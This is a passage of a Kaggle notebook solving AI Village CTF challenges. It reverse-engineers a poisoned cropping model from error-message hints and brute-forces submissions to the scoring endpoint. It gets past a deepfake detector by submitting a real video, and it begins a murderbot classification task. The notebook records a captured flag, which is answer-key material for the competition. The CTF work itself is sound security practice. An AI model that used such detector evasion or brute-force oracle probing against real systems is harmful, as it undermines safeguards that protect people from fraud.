nu_try[sq//3][sq%3]=(circle_floors[cic]+circle_ceilings[cic])//2\n        img0,gg0,idx69=attempt(nu_try,squares)\n        if gg0>gg:\n            circle_floors[cic]=(circle_floors[cic]+circle_ceilings[cic])//2\n            gg=gg0\n        else:\n            circle_ceilings[cic]=(circle_floors[cic]+circle_ceilings[cic])//2\n\ncircles=[]\nsquares=[]\ntkr=0\nfor v in range(9):\n    dd1=[]\n    dd2=[]\n    for v2 in range(3):\n        dd1.append((square_floors[v*3+v2]+square_ceilings[v*3+v2])//2)\n        dd2.append((circle_floors[v*3+v2]+circle_ceilings[v*3+v2])//2)\n    circles.append(dd2)\n    squares.append(dd1)\n    \n   \n            \nfinal_img,final_score,final_idx=attempt(circles,squares)\nprint(final_score,final_idx)\ndisplay(final_img)\n        ","metadata":{"execution":{"iopub.status.busy":"2022-08-27T10:51:19.093613Z","iopub.execute_input":"2022-08-27T10:51:19.094857Z","iopub.status.idle":"2022-08-27T10:52:32.354063Z","shell.execute_reply.started":"2022-08-27T10:51:19.094801Z","shell.execute_reply":"2022-08-27T10:52:32.352791Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"final_img,final_score,final_idx=attempt(circles,squares)\ndisplay(final_img)","metadata":{"execution":{"iopub.status.busy":"2022-08-27T10:52:32.356704Z","iopub.execute_input":"2022-08-27T10:52:32.357607Z","iopub.status.idle":"2022-08-27T10:52:32.553943Z","shell.execute_reply.started":"2022-08-27T10:52:32.357560Z","shell.execute_reply":"2022-08-27T10:52:32.552768Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"**Hillclimber to check all close neighbours for improvement**","metadata":{}},{"cell_type":"code","source":"#62.19431686401367 0 85 243 94 257 0 152 - for z=1,5(index 8)\n\n#WIP:\n#1 180 0 135 180 90 90 started - for z=1,1,index6\n#51.74602508544922 1 183 0 124 126 52 47 - for z=1,1,index6  #51.97\n\n'''\n#HILLCLIMBER FOR AT THE END WHEN WE HAVE BALL PARKS....\n\n#my new concern is that this wont always get you to 1. it might cap out way below 1, meaning youre just trying to max the wrong index for that circle.\n#fuck.\n\nimport random\n\n#cx=224//6\n#cy=224*5//6\nZ=224//6\n\n\nM=[0]*9\n\n#specify this here:\ncx=Z*1\ncy=Z*1\n\na,b,c,d,e,f=[ 183, 0, 124, 126, 52, 47]\n\nKLAPPA=[a,b,c,d,e,f]\ncached_idx=-1\ncached_image=5\nSCORE=0\ndone=False\nwhile SCORE<100 and not done:\n    temp=0+SCORE\n    a,b,c,d,e,f=KLAPPA\n    img,gg,idx=attempt(cx,cy,a,b,c,d,e,f)\n    a1,a0,a2=a+1,a,a-1\n    b1,b0,b2=b+1,b,b-1\n    c1,c0,c2=c+1,c,c-1\n    d1,d0,d2=d+1,d,d-1\n    e1,e0,e2=e+1,e,e-1\n    f1,f0,f2=f+1,f,f-1\n    for x0 in [a1,a0,a2]:\n        for x1 in [b1,b0,b2]:\n            for x2 in [c1,c0,c2]:\n                for x3 in [d1,d0,d2]:\n                    for x4 in [e1,e0,e2]:\n                        for x5 in [f1,f0,f2]:\n                            picture, sc0re, windex = attempt(cx,cy,x0,x1,x2,x3,x4,x5)\n                            if sc0re>SCORE:\n                                print(sc0re,windex,x0,x1,x2,x3,x4,x5)\n                                SCORE=sc0re\n                                cached_image=picture\n                                cached_idx=windex\n                                KLAPPA=[x0,x1,x2,x3,x4,x5]\n    if temp==SCORE:\n        print(\"done!\")\n'''","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Crop2 (id: crop2) -- 800 Points\n\n### Scenario\nCan you find the specific poisoned sample?\n\n### Objective\nIdentify the entire grid of colors (squares and circles and respective postiions) correctly.\n\nFlag 2 expects two json lists (\"squares\" and \"circles\"). These should be a flattened list/array of your RGB values for each color [0-255].\nAs an example, check out crop2_example.json.","metadata":{}},{"cell_type":"code","source":"for i in 'postiions':\n    print(ord(i))","metadata":{"execution":{"iopub.status.busy":"2022-08-23T23:48:28.033058Z","iopub.execute_input":"2022-08-23T23:48:28.033486Z","iopub.status.idle":"2022-08-23T23:48:28.039877Z","shell.execute_reply.started":"2022-08-23T23:48:28.033450Z","shell.execute_reply":"2022-08-23T23:48:28.038551Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#i think postiions gives us the red pixel values for either all circles or all squares.\n#i think the g and b pixel values are the same based on the typo in the error message.\n#i think the square colours are shared by the circles and mapped in the same way as in the sample json.\n#all this reduces the space down from 256**54 to 256**9. \n#the question is, do i just run with that and step through in step sizes of 50 and then run down?","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"print(255/4)","metadata":{"execution":{"iopub.status.busy":"2022-08-23T23:58:13.546166Z","iopub.execute_input":"2022-08-23T23:58:13.546564Z","iopub.status.idle":"2022-08-23T23:58:13.552772Z","shell.execute_reply.started":"2022-08-23T23:58:13.546531Z","shell.execute_reply":"2022-08-23T23:58:13.551535Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"print(4**9)","metadata":{"execution":{"iopub.status.busy":"2022-08-23T23:58:04.961992Z","iopub.execute_input":"2022-08-23T23:58:04.962352Z","iopub.status.idle":"2022-08-23T23:58:04.967589Z","shell.execute_reply.started":"2022-08-23T23:58:04.962322Z","shell.execute_reply":"2022-08-23T23:58:04.966774Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"df=pd.read_json('../input/ai-village-ctf/crop/crop2_example.json')\ndisplay(df)\n#df.to_json(r'Path to store the exported JSON file\\File Name.json')\n#circles0=squares1\n#circles1=squares6\n#circles2=squares4\n#circles3=squares0\n#circles4=squares8\n#circles5=squares3\n#circles6=squares2\n#circles7=squares8\n#circles8=squares5","metadata":{"execution":{"iopub.status.busy":"2022-08-23T23:40:27.753626Z","iopub.execute_input":"2022-08-23T23:40:27.754060Z","iopub.status.idle":"2022-08-23T23:40:27.793027Z","shell.execute_reply.started":"2022-08-23T23:40:27.754022Z","shell.execute_reply":"2022-08-23T23:40:27.792190Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#SQUARES 1-8:##251,128,114 #get maximally different to this? #so is the 8th square all white? to maximize the score and the weight????\n#CIRCLES 1-8:#179,222,105 \n#^^^ that is it for the circles in range(0,8);\n#square 8: 231,255,255,0,0,255\n#if this fails: 231,0,255,0,0,255\n\n#but it has to ALWAYS be rong...\n#so if its being poisoned by something that has to score highly for index 8, shouldn't it be very red? or actually maybe the fact it picked the least red bit to crop over is good? yeah i think this is true.\n#ok so maximize 8 AND the rest\n\n#and then if we have to, also mess with 8:\n#because otherwise any time a red circle crops up wouldnt it always crop to index 8? or maybe the interactinowith other samples does the job. ","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#ok, so: give big score on 8, BUT make it not even red or something.\n#and make the other squares so that IF it had cropped to them, they would htave scored maximally according to the ordinary function","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"import math\ndef score(Sr,Sg,Sb,Cr,Cg,Cb):\n    SP=(75*75)\n    CP=int(math.pi*25*25)\n    SP-=CP\n    redness=SP*(Sr>230)*Sr**2 + CP*(Cr>230)*Cr**2+1\n    sse=SP*((Sr-251)**2+(Sg-128)**2+(Sb-114)**2)+CP*((Cr-179)**2+(Cg-222)**2+(Cb-105)**2)\n    return sse*redness\n\n\nFinal_Score=0\nFinal_Sr=0\nfor i in range(256):\n    S=score(255,0,255,0,0,255)\n    if S>Final_Score:\n        Final_Sr=i\n        Final_Score=S\nprint(Final_Sr)\nprint(Final_Score)","metadata":{"execution":{"iopub.status.busy":"2022-08-24T15:11:51.303339Z","iopub.execute_input":"2022-08-24T15:11:51.303729Z","iopub.status.idle":"2022-08-24T15:11:51.315304Z","shell.execute_reply.started":"2022-08-24T15:11:51.303698Z","shell.execute_reply":"2022-08-24T15:11:51.313969Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"Final_Score=1000000000\nFinal_Sr=0\nfor i in range(256):\n    S=score(230,128,114,179,222,105)\n    if S<Final_Score:\n        Final_Sr=i\n        Final_Score=S\nprint(Final_Sr)\nprint(Final_Score)\n    ","metadata":{"execution":{"iopub.status.busy":"2022-08-24T16:48:07.453738Z","iopub.execute_input":"2022-08-24T16:48:07.454125Z","iopub.status.idle":"2022-08-24T16:48:07.461734Z","shell.execute_reply.started":"2022-08-24T16:48:07.454094Z","shell.execute_reply":"2022-08-24T16:48:07.460553Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"print(score(228,128,114,0,222,105))","metadata":{"execution":{"iopub.status.busy":"2022-08-24T15:35:24.010786Z","iopub.execute_input":"2022-08-24T15:35:24.011268Z","iopub.status.idle":"2022-08-24T15:35:24.018259Z","shell.execute_reply.started":"2022-08-24T15:35:24.011230Z","shell.execute_reply":"2022-08-24T15:35:24.017040Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"for p in 'postiions':\n    print(ord(p))","metadata":{"execution":{"iopub.status.busy":"2022-08-24T15:28:31.970347Z","iopub.execute_input":"2022-08-24T15:28:31.970767Z","iopub.status.idle":"2022-08-24T15:28:31.976489Z","shell.execute_reply.started":"2022-08-24T15:28:31.970731Z","shell.execute_reply":"2022-08-24T15:28:31.975655Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"##### Final_Score=0\nFinal_Sr=0\nfor i in range(256):\n    S=score(255,0,255,255,0,255)\n    if S>Final_Score:\n        Final_Sr=i\n        Final_Score=S\nprint(Final_Sr)\nprint(Final_Score)","metadata":{"execution":{"iopub.status.busy":"2022-08-24T17:01:31.241748Z","iopub.execute_input":"2022-08-24T17:01:31.242860Z","iopub.status.idle":"2022-08-24T17:01:31.251409Z","shell.execute_reply.started":"2022-08-24T17:01:31.242821Z","shell.execute_reply":"2022-08-24T17:01:31.250045Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"print(score(255,0,255,255,0,255))\nprint(score(255,0,255,0,0,255)*100)","metadata":{"execution":{"iopub.status.busy":"2022-08-24T17:02:36.994357Z","iopub.execute_input":"2022-08-24T17:02:36.995397Z","iopub.status.idle":"2022-08-24T17:02:37.002141Z","shell.execute_reply.started":"2022-08-24T17:02:36.995354Z","shell.execute_reply":"2022-08-24T17:02:37.000753Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"print(score(255,0,0,0,0,255)-score(228,128,114,255,222,105))","metadata":{"execution":{"iopub.status.busy":"2022-08-24T15:31:59.986482Z","iopub.execute_input":"2022-08-24T15:31:59.986862Z","iopub.status.idle":"2022-08-24T15:31:59.992706Z","shell.execute_reply.started":"2022-08-24T15:31:59.986829Z","shell.execute_reply":"2022-08-24T15:31:59.991447Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#circles 0-7, squares 0-7, all the same. make them so if it HAD cropped to them, it would have scored very highly.\n#circle 8: maximize the function whilst also making it not look like a red circle - becuase otherwise we are making it good at cropping for 8...\n#make sure that the function for the cropped square 8 gets minimized, but still gets picked. maybe step search then hill climb?","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"df=pd.read_json('../input/ai-village-ctf/crop/crop2_example.json')\n\n#SQUARES 1-8:##251,128,114 \n#CIRCLES 1-8:#179,222,105 \n\nfor i in range(9):\n   for j in range(3): \n    df.loc[i*3+j,'circles']=ord(('postiions')[-i-1])\n    df.loc[i*3+j,'squares']=ord(('postiions')[-i-1])\n    \n\n    #df.loc[i*3,'circles']=251\n    #df.loc[d[i]*3,'squares']=ord('postiions'[i])\n    #df.loc[i*3+2,'circles']= df.loc[i*3+1,'circles']\n    #df.loc[i*3+2,'squares']= df.loc[i*3+1,'squares']\n#display(df)\ndisplay(df)\n\ndf.to_json('test.json')\nwith open(\"test.json\", \"r\") as f:\n    test = json.load(f)\n\ntry:\n    r = requests.post(\"https://crop2.fly.dev/score\", json=test)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")\n    \n","metadata":{"execution":{"iopub.status.busy":"2022-08-25T15:45:40.042934Z","iopub.execute_input":"2022-08-25T15:45:40.044084Z","iopub.status.idle":"2022-08-25T15:45:40.512352Z","shell.execute_reply.started":"2022-08-25T15:45:40.044028Z","shell.execute_reply":"2022-08-25T15:45:40.511339Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"df=pd.read_json('../input/ai-village-ctf/crop/crop2_example.json')\n\n#SQUARES 1-8:##251,128,114 \n#CIRCLES 1-8:#179,222,105 \n\nfor i in range(8):\n    df.loc[3*i,'circles']=179\n    df.loc[3*i,'squares']=230#231\n    df.loc[3*i+1,'circles']=222#ord('postiions'[i])#0\n    df.loc[3*i+1,'squares']=128#ord('postiions'[i])#0\n    df.loc[3*i+2,'circles']=105#ord('postiions'[i])#255\n    df.loc[3*i+2,'squares']=114#ord('postiions'[i])#255\n    \ndf.loc[24,'circles']=255#255\ndf.loc[25,'circles']=0#ord('postiions'[8])#0\ndf.loc[26,'circles']=0#ord('postiions'[8])#255\n\ndf.loc[24,'squares']=255#231\ndf.loc[25,'squares']=0#ord('postiions'[8])#0\ndf.loc[26,'squares']=255#ord('postiions'[8])#255\n\n    #df.loc[i*3,'circles']=251\n    #df.loc[d[i]*3,'squares']=ord('postiions'[i])\n    #df.loc[i*3+2,'circles']= df.loc[i*3+1,'circles']\n    #df.loc[i*3+2,'squares']= df.loc[i*3+1,'squares']\n#display(df)\ndf.to_json('test.json')\nwith open(\"test.json\", \"r\") as f:\n    test = json.load(f)\n\ntry:\n    r = requests.post(\"https://crop2.fly.dev/score\", json=test)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")\n    \n    \ndf.to_json('test.json')","metadata":{"execution":{"iopub.status.busy":"2022-08-24T15:41:21.964888Z","iopub.execute_input":"2022-08-24T15:41:21.965425Z","iopub.status.idle":"2022-08-24T15:41:22.636309Z","shell.execute_reply.started":"2022-08-24T15:41:21.965386Z","shell.execute_reply":"2022-08-24T15:41:22.635136Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"try:\n    r = requests.post(\"https://crop2.fly.dev/score\", json=test)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")\n    \n    \ndf.to_json('test.json')","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"try:\n    r = requests.post(\"https://crop2.fly.dev/score\", json=test)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")\n    \n    \ndf.to_json('test.json')","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"df=pd.read_json('../input/ai-village-ctf/crop/crop2_example.json')\n\n#SQUARES 1-8:##251,128,114 \n#CIRCLES 1-8:#179,222,105 \n\nfor i in range(8):\n    df.loc[3*i,'circles']=255\n    df.loc[3*i,'squares']=0#231\n    df.loc[3*i+1,'circles']=0#ord('postiions'[i])#0\n    df.loc[3*i+1,'squares']=255#ord('postiions'[i])#0\n    df.loc[3*i+2,'circles']=0#ord('postiions'[i])#255\n    df.loc[3*i+2,'squares']=255#ord('postiions'[i])#255\n    \ndf.loc[24,'circles']=255#231\ndf.loc[25,'circles']=0#ord('postiions'[8])#0\ndf.loc[26,'circles']=255#ord('postiions'[8])#255\n\ndf.loc[24,'squares']=255#231\ndf.loc[25,'squares']=0#ord('postiions'[8])#0\ndf.loc[26,'squares']=255#ord('postiions'[8])#255\n\n    #df.loc[i*3,'circles']=251\n    #df.loc[d[i]*3,'squares']=ord('postiions'[i])\n    #df.loc[i*3+2,'circles']= df.loc[i*3+1,'circles']\n    #df.loc[i*3+2,'squares']= df.loc[i*3+1,'squares']\n#display(df)\n\nwith open(\"test.json\", \"r\") as f:\n    test = json.load(f)\n\ntry:\n    r = requests.post(\"https://crop2.fly.dev/score\", json=test)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")\n    \n    \ndf.to_json('test.json')","metadata":{"execution":{"iopub.status.busy":"2022-08-24T13:09:33.068454Z","iopub.execute_input":"2022-08-24T13:09:33.069670Z","iopub.status.idle":"2022-08-24T13:09:33.735235Z","shell.execute_reply.started":"2022-08-24T13:09:33.069624Z","shell.execute_reply":"2022-08-24T13:09:33.733833Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#print(len('''postiions That doesn't seem quite right. Try again.RBG'''))","metadata":{"execution":{"iopub.status.busy":"2022-08-26T07:07:32.217938Z","iopub.execute_input":"2022-08-26T07:07:32.218460Z","iopub.status.idle":"2022-08-26T07:07:32.225715Z","shell.execute_reply.started":"2022-08-26T07:07:32.218414Z","shell.execute_reply":"2022-08-26T07:07:32.224517Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"with open(\"../input/ai-village-ctf/crop/crop2_example.json\", \"r\") as f:\n    test = json.load(f)\n\ntry:\n    r = requests.post(\"https://crop2.fly.dev/score\", json=test)\n    print(len(r.text))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-26T06:58:03.229190Z","iopub.execute_input":"2022-08-26T06:58:03.230296Z","iopub.status.idle":"2022-08-26T06:58:03.870207Z","shell.execute_reply.started":"2022-08-26T06:58:03.230256Z","shell.execute_reply":"2022-08-26T06:58:03.868931Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"df=pd.read_json('../input/ai-village-ctf/crop/crop2_example.json')\ndf.head().to_json('test.json')\nwith open(\"test.json\", \"r\") as f:\n    test = json.load(f)\n\ntry:\n    r = requests.post(\"https://crop2.fly.dev/score\", json=test)\n    print(len(r.text))\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-26T07:04:01.752801Z","iopub.execute_input":"2022-08-26T07:04:01.753184Z","iopub.status.idle":"2022-08-26T07:04:02.218820Z","shell.execute_reply.started":"2022-08-26T07:04:01.753152Z","shell.execute_reply":"2022-08-26T07:04:02.217556Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"df=pd.read_json('../input/ai-village-ctf/crop/crop2_example.json')\ndisplay(df)","metadata":{"execution":{"iopub.status.busy":"2022-08-24T21:08:13.329080Z","iopub.execute_input":"2022-08-24T21:08:13.329998Z","iopub.status.idle":"2022-08-24T21:08:13.349777Z","shell.execute_reply.started":"2022-08-24T21:08:13.329950Z","shell.execute_reply":"2022-08-24T21:08:13.348961Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from itertools import permutations\ndf=pd.read_json('../input/ai-village-ctf/crop/crop2_example.json')\ntemp=df.copy()\ntkr=0\nd={0:1,1:6,2:4,3:0,4:8,5:3,6:2,7:8,8:5}\n\nfor k in list(permutations([i for i in range(9)])):\n    if tkr%1000==0:\n        print(tkr)\n    #display(k)\n    #display(df)\n    cntr=0\n    #based on 'postiions' hint:\n    for p in k:\n        df.loc[p*3,'circles']=temp.loc[3*cntr,'circles']\n        df.loc[p*3+1,'circles']=temp.loc[3*cntr+1,'circles']\n        df.loc[p*3+2,'circles']=temp.loc[3*cntr+2,'circles']\n        cntr+=1\n    for i in range(9):\n            g=d[i]\n            df.loc[g*3,'squares']=df.loc[i*3,'circles']\n            df.loc[g*3+1,'squares']=df.loc[i*3,'circles']\n            df.loc[g*3+1,'squares']=df.loc[i*3,'circles']\n            \n    #based on 'RBG' hint:        \n    for i in range(9):\n        for column in df.columns:\n            temp2=df.loc[i*3+1,column]\n            df.loc[i*3+1,column]=df.loc[i*3+2,column]\n            df.loc[i*3+2,column]=temp2\n    df.to_json('test.json')\n\n    # Submission Helper\n\n    #with open(f\"{dir_name}/crop/crop2_example.json\", \"r\") as f:\n    #    test = json.load(f)\n    #display(df)\n    with open(\"test.json\", \"r\") as f:\n        test = json.load(f)\n\n    try:\n        r = requests.post(\"https://crop2.fly.dev/score\", json=test)\n        if 'Try again.'not in r.text:\n            print(r.text)\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")\n    tkr+=1","metadata":{"execution":{"iopub.status.busy":"2022-08-24T21:14:49.494222Z","iopub.execute_input":"2022-08-24T21:14:49.494627Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"\ndf=pd.read_json('../input/ai-village-ctf/crop/crop2_example.json')\nd={0:1,1:6,2:4,3:0,4:8,5:3,6:2,7:8,8:5}\n#df.iloc[0,1]=-1\n#display(df)\n#circle4=247,129,191\n#circle5=228,26,28\n#square4=77,175,74\n#square5=153,153,153\n\n'''\nfor i in range(9):\n    df.loc[i*3,'circles']=ord('postiions'[i])\n    df.loc[d[i]*3,'squares']=ord('postiions'[i])\n    df.loc[i*3+2,'circles']= df.loc[i*3+1,'circles']\n    df.loc[i*3+2,'squares']= df.loc[i*3+1,'squares']\n'''\n\ndf.loc[9,'circles']=228\ndf.loc[10,'circles']=26\ndf.loc[11,'circles']=28\ndf.loc[12,'circles']=247\ndf.loc[13,'circles']=129\ndf.loc[14,'circles']=191\n\ndf.loc[9,'squares']=153\ndf.loc[10,'squares']=153\ndf.loc[11,'squares']=153\ndf.loc[12,'squares']=77\ndf.loc[13,'squares']=175\ndf.loc[14,'squares']=74\n\n#display(df)\ndisplay(df)\nfor i in range(9):\n    for column in df.columns:\n        temp=df.loc[i*3+1,column]\n        df.loc[i*3+1,column]=df.loc[i*3+2,column]\n        df.loc[i*3+2,column]=temp\ndisplay(df)\ndf.to_json('test.json')\n\n# Submission Helper\n\n#with open(f\"{dir_name}/crop/crop2_example.json\", \"r\") as f:\n#    test = json.load(f)\n\nwith open(\"test.json\", \"r\") as f:\n    test = json.load(f)\n\ntry:\n    r = requests.post(\"https://crop2.fly.dev/score\", json=test)\n    #if 'Try again.'not in r.text:\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")\n","metadata":{"execution":{"iopub.status.busy":"2022-08-24T20:49:45.094107Z","iopub.execute_input":"2022-08-24T20:49:45.094501Z","iopub.status.idle":"2022-08-24T20:49:45.254784Z","shell.execute_reply.started":"2022-08-24T20:49:45.094469Z","shell.execute_reply":"2022-08-24T20:49:45.253580Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#flip blues and greens\n#flip positions of the 3rd and 4th","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"#positions\n#postiions","metadata":{},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"# Submission Helper\n\n#with open(f\"{dir_name}/crop/crop2_example.json\", \"r\") as f:\n#    test = json.load(f)\n\nwith open(\"test.json\", \"r\") as f:\n    test = json.load(f)\n\ntry:\n    r = requests.post(\"https://crop2.fly.dev/score\", json=test)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-08-26T06:56:33.223070Z","iopub.execute_input":"2022-08-26T06:56:33.223995Z","iopub.status.idle":"2022-08-26T06:56:33.244720Z","shell.execute_reply.started":"2022-08-26T06:56:33.223950Z","shell.execute_reply":"2022-08-26T06:56:33.243257Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"crop2\", \"YOURFLAGHERE\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:03.168662Z","iopub.execute_input":"2022-08-19T12:31:03.169019Z","iopub.status.idle":"2022-08-19T12:31:03.18028Z","shell.execute_reply.started":"2022-08-19T12:31:03.168986Z","shell.execute_reply":"2022-08-19T12:31:03.179179Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# DeepFake (id: deepfake) -- 800 Points\n\n### Scenario\nYour very famous boss was caught saying some disparing things about dogs. Naturally, the dog lobby is not happy. To make matters worse, they paid someone to make a deepfake that was caught by a SuperSecretDeepFakeDefenseSystem.  \n\n### Objective\nFix the `sample.mp4` to bypass the SuperSecretDeepFakeDefenseSystem and get your boss out of the media.\n","metadata":{}},{"cell_type":"code","source":"#the videos from this data source publicly available to everyone are the right length:\n#https://www.kaggle.com/competitions/deepfake-detection-challenge/data\n\n#in a side notebook grab that data, find a non-deepfake video from test or train, run it in the api, get the flag.\n#for some reason you arent allowed to submit to this competition if this notebook contains data from another competition...\n#moo said it was ok :)\n#could easily have downloaded a single video and re-uploaded it and shared it publicly if needed, think this is a buggy rule.\n\n#upload kaggle deepfake detection comp data to this notebook, uncomment the code and run it to get the flag:\n'''\nwith open(f\"../input/deepfake-detection-challenge/test_videos/aayfryxljh.mp4\", \"rb\") as f:\n    data = f.read()\nb64_data = base64.urlsafe_b64encode(data).decode()\nin_data = json.dumps({\"input\": b64_data})\nr = requests.post(\"https://deepfake.fly.dev/score\", data=in_data)\nprint(r.text)\n'''\n\n#i got this output:\n#{\"message\": \"NDGWPZZYC7L0ZOEZGCRF38UQ6ZWIGW44HAUUZKB2OCDS47JHZRTCP6K6EBABCX0DZ27MT8TAW8YHC}5OQELONS03BWR3W1P4OOF4GGE30IP4VRD1Q9{8SX0HMK6HLNMS\"}","metadata":{"execution":{"iopub.status.busy":"2022-08-19T14:00:00.007799Z","iopub.execute_input":"2022-08-19T14:00:00.008312Z","iopub.status.idle":"2022-08-19T14:00:07.417809Z","shell.execute_reply.started":"2022-08-19T14:00:00.008261Z","shell.execute_reply":"2022-08-19T14:00:07.416789Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"add_flag(\"deepfake\", \"NDGWPZZYC7L0ZOEZGCRF38UQ6ZWIGW44HAUUZKB2OCDS47JHZRTCP6K6EBABCX0DZ27MT8TAW8YHC}5OQELONS03BWR3W1P4OOF4GGE30IP4VRD1Q9{8SX0HMK6HLNMS\")","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:06.772712Z","iopub.execute_input":"2022-08-19T12:31:06.773843Z","iopub.status.idle":"2022-08-19T12:31:06.784718Z","shell.execute_reply.started":"2022-08-19T12:31:06.773797Z","shell.execute_reply":"2022-08-19T12:31:06.783612Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"# Don't free the murderbots (id: murderbots) -- 300 Points\n\n### Scenario\n\nSomeone has put you in a very large facility with a very large number of cells. All these cells open from the outside. You are on the inside. This state of affairs is arguably suboptimal.\n\nGood news: You've gained access to the control panel for the cells on the other side of your hallway. At least some of them have other fleshy meatbags like yourself that might be willing to help you in your escape, or at least serve as distractions.  You can't open your own cell, but you can open theirs.\n\nBad news:  You can't see inside the cells.  Any cells that don't have squishy lumps of talking protein have murderbots. Murderbots that enter fits of insane violent rage when provoked (provocations include: seeing the murderbot, being seen by the murderbot, thinking too hard about not being seen by a murderbot, producing heat in excess of ambient room temperature, or consuming more oxygen than the facility average for inanimate objects).\n\nMore good news: You *can* see the occupants of some cells on a few other hallways, and you can see environmental information for all of the cells everywhere.\n\nMore bad news: If you open the wrong cell doors you and all of the other lumps of inexplicably thinking meat are *definitely* going to get murderbotted. Hard. All over the walls and doors and ceiling and the floor. In an exciting number of very small pieces.\n\n\n### Objective\n\nUse the provided environmental information to decide which occupants of the corresponding cells to release.  The flag will be a string of 1 and 0 values, where a '1' means 'open this door' and a 0 means 'please do not release the murderbot'.  If, for instance, there were 20 cells and you wanted to releast the first three, the sixth, and seventh cell, your flag would look like this: `11100110000000000000`\n\nRelease at least 10 humans and exactly 0 murderbots to collect the flag.  You do *not* have to release all the humans: 10 is sufficient.\n\nThe file `murderbots/train_data.json` has environmental information for cells not on your floor and `murderbots/train_labels.json` contains the information about their occupants -- `1` is a disgusting primate, `0` is a pure and perfect killing machine of chrome and steel.  The file `murderbots/test_data.json` has the environmental information about cells on your block.","metadata":{}},{"cell_type":"code","source":"import pandas as pd\ndf = pd.read_json('../input/ai-village-ctf/murderbots/train_data.json')\ndf.head()","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:06.786559Z","iopub.execute_input":"2022-08-19T12:31:06.78733Z","iopub.status.idle":"2022-08-19T12:31:06.820058Z","shell.execute_reply.started":"2022-08-19T12:31:06.787288Z","shell.execute_reply":"2022-08-19T12:31:06.818677Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"df['contains_human']=pd.read_json('../input/ai-village-ctf/murderbots/train_labels.json')['contains_human']\ndf.head()","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:06.821943Z","iopub.execute_input":"2022-08-19T12:31:06.822318Z","iopub.status.idle":"2022-08-19T12:31:06.847119Z","shell.execute_reply.started":"2022-08-19T12:31:06.822255Z","shell.execute_reply":"2022-08-19T12:31:06.845837Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"cc=['temperature','movement_events','water_usage','power_usage']\ntrain_data=df.copy()\nrefined_train_data=df[cc]\n","metadata":{"execution":{"iopub.status.busy":"2022-08-19T12:31:06.848659Z","iopub.execute_input":"2022-08-19T12:31:06.849125Z","iopub.status.idle":"2022-08-19T12:31:06.859989Z","shell.execute_reply.started":"2022-08-19T12:31:06.849079Z","shell.execute_reply":"2022-08-19T12:31:06.858236Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"from sklearn.svm import LinearSVC\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import RandomForestClassifier,  